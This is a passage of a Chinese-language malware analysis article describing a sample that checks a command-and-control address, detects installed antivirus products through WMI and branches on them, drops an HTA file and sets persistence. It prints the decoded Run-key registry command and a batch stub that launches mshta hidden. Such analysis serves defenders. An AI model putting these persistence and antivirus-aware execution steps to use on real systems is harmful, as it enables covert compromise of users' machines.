center;"><img class="rich_pages wxw-img" data-ratio="0.899074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030282" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=06e7e640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfyO2pOib1UFSmnPVBWialfmmucMyU8W7koTmzpckSHCllzAXzCMwiaAUSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">探测C2地址</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">65.109.190[.]120:8951</span></strong><span leaf="">是否可达，C2不可达则弹出错误提示</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.26666666666666666" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100030283" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=b93e33e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfY3bJnic6dzGHMy74XzYaIUw74BwGl1E3nNFUO1pWQTe61BMgN2NuzXQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过WMI语句 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Select * from AntivirusProduct</span></strong><span leaf=""> 检测已安装安全软件产品，根据不同的安全软件产品执行不同的分支。检测以下的安全产品：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">AVG</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Kaspersky</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Quick</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Avast</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Avira</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">Bitdefender</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">WindowsDefender</span></p></li></ul></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.8346281908990011" data-s="300,640" data-type="png" data-w="901" type="block" data-imgfileid="100030284" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=842a8bbd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfc71018MRMo7ZvW6HpaibVzAqPrl4SXwibvbq9uQXNY04icmamO7Cg0uVQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Kaspersky</span></strong><span leaf=""> 分支会把 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.hta</span></strong><span leaf=""> 写入目录 <span textstyle="" style="font-weight: bold;">C:\Users\Public\core\</span>，随后在 Startup 目录生成自启动脚本 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.cmd</span></strong><span leaf=""> 作为持久化入口，并立刻通过 PowerShell 调用 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">SysWOW64\mshta.exe</span></strong><span leaf=""> 执行 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.hta</span></strong><span leaf="">。使用32为mshta + PowerShell + LNK的方式执行flow.hta</span></p></div><p style="text-align: center;"><img class="rich_pages wxw-img" data-ratio="0.8246392896781354" data-s="300,640" data-type="png" data-w="901" type="block" data-imgfileid="100030285" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cd5d289b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSITy8DJoRDG7wBujSfm1pfyk5kMTaShjqMib2pLbdRvrqyvZRLukEFmhjEiaiazhiaeiaRYT2HTp4noww%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: black;letter-spacing: 0px;background-color: rgb(255, 255, 255);line-height: 1.6;word-break: break-word;text-align: left;font-size: 14px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;visibility: visible;"><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">为了更好的理解后续分支的执行，对</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">RigValue</span></strong><span leaf="">、</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">StartBatFile</span></strong><span leaf="">、</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AvastTemp</span></strong><span leaf="">、StartLnk等解码后内容进行解读。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">RigValue</span></strong><span leaf="">：当前用户的 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">Run 自启动键</span></strong><span leaf="">写入一个名为Push 的字符串值，值内容指向：C:\Users\Public\core\flowB.bat，属于</span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">用户登录即执行</span></strong><span leaf=""> 持久化方式。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">REG ADD </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&#34;</span></span><span leaf=""> /V </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Push&#34;</span></span><span leaf=""> /t REG_SZ /F /D </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;C:\Users\Public\core\flowB.bat&#34;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">StartBatFile</span></strong><span leaf="">：静默运行，并在当前控制台后台启动 mshta.exe 执行 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.hta</span></strong><span leaf="">，然后退出。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">@</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">echo</span></span><span leaf=""> off</span><span leaf=""><br/></span><span leaf="">start /b mshta.exe </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;C:\Users\Public\core\flow.hta&#34;</span></span><span leaf=""><br/></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">exit</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">AvastTemp</span></strong><span leaf="">：PowerShell启动 C:\Windows\SysWOW64\mshta.exe 去运行 </span><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">flow.hta</span></strong><span leaf="">，强制使用32 位的mshta执行。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">PowerShell启动参数含义如下：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">NoLogo：启动 PowerShell 时不显示版权/版本横幅。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">WindowStyle Hidden：启动 PowerShell 窗口时直接隐藏窗口。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">NoExit：保持会话。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">NoProfile：不加载用户或系统的PowerShell配置。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">NonInteractive：禁用交互式输入。</span></p></li></ul><pre data-tool="mdnice编辑器" 